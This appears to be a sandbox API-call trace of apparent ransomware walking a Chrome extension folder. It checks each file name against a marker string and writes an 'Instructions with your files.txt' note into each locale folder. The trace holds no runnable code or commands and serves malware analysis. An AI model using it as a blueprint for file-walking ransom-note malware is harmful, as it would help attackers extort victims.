[0128.814] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_128.png", cAlternateFileName="")) returned 1
[0128.814] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png") returned 142
[0128.814] StrStrIW (lpFirst="icon_128.png", lpSrch="SDfghjkl") returned 0x0
[0128.814] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_16.png", cAlternateFileName="")) returned 1
[0128.814] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png") returned 141
[0128.814] StrStrIW (lpFirst="icon_16.png", lpSrch="SDfghjkl") returned 0x0
[0128.814] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b74730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe4180700, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0x5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.html", cAlternateFileName="MAIN~1.HTM")) returned 1
[0128.814] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html") returned 139
[0128.814] StrStrIW (lpFirst="main.html", lpSrch="SDfghjkl") returned 0x0
[0128.814] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b9b830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe4180700, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0x5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.js", cAlternateFileName="")) returned 1
[0128.814] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js") returned 137
[0128.814] StrStrIW (lpFirst="main.js", lpSrch="SDfghjkl") returned 0x0
[0128.814] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b9b830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1
[0128.814] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json") returned 143
[0128.814] StrStrIW (lpFirst="manifest.json", lpSrch="SDfghjkl") returned 0x0
[0128.814] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1
[0128.814] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 138
[0128.814] GetProcessHeap () returned 0x810000
[0128.815] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0128.815] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*") returned 140
[0128.815] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0128.817] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\.") returned 140
[0128.817] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.817] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\..") returned 141
[0128.817] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857953d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1
[0128.817] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned 141
[0128.817] GetProcessHeap () returned 0x810000
[0128.817] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.818] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*") returned 143
[0128.818] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857953d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.818] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\.") returned 143
[0128.818] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857953d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.818] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\..") returned 144
[0128.818] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.818] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json") returned 155
[0128.819] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.819] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.819] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\Instructions with your files.txt") returned 174
[0128.819] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.819] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.820] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.820] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.820] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.820] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.820] CloseHandle (hObject=0x134) returned 1
[0128.820] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.820] GetProcessHeap () returned 0x810000
[0128.820] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.820] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
[0128.820] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned 141
[0128.821] GetProcessHeap () returned 0x810000
[0128.821] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.821] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*") returned 143
[0128.821] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.821] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\.") returned 143
[0128.821] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.821] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\..") returned 144
[0128.821] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.821] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json") returned 155
[0128.821] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.821] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.821] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\Instructions with your files.txt") returned 174
[0128.821] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.821] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.822] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.822] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.823] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.823] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.823] CloseHandle (hObject=0x134) returned 1
[0128.823] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.823] GetProcessHeap () returned 0x810000
[0128.823] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.823] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1
[0128.823] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca") returned 141
[0128.823] GetProcessHeap () returned 0x810000
[0128.823] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.823] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*") returned 143
[0128.823] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.824] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\.") returned 143
[0128.824] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.824] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\..") returned 144
[0128.824] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bc4d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
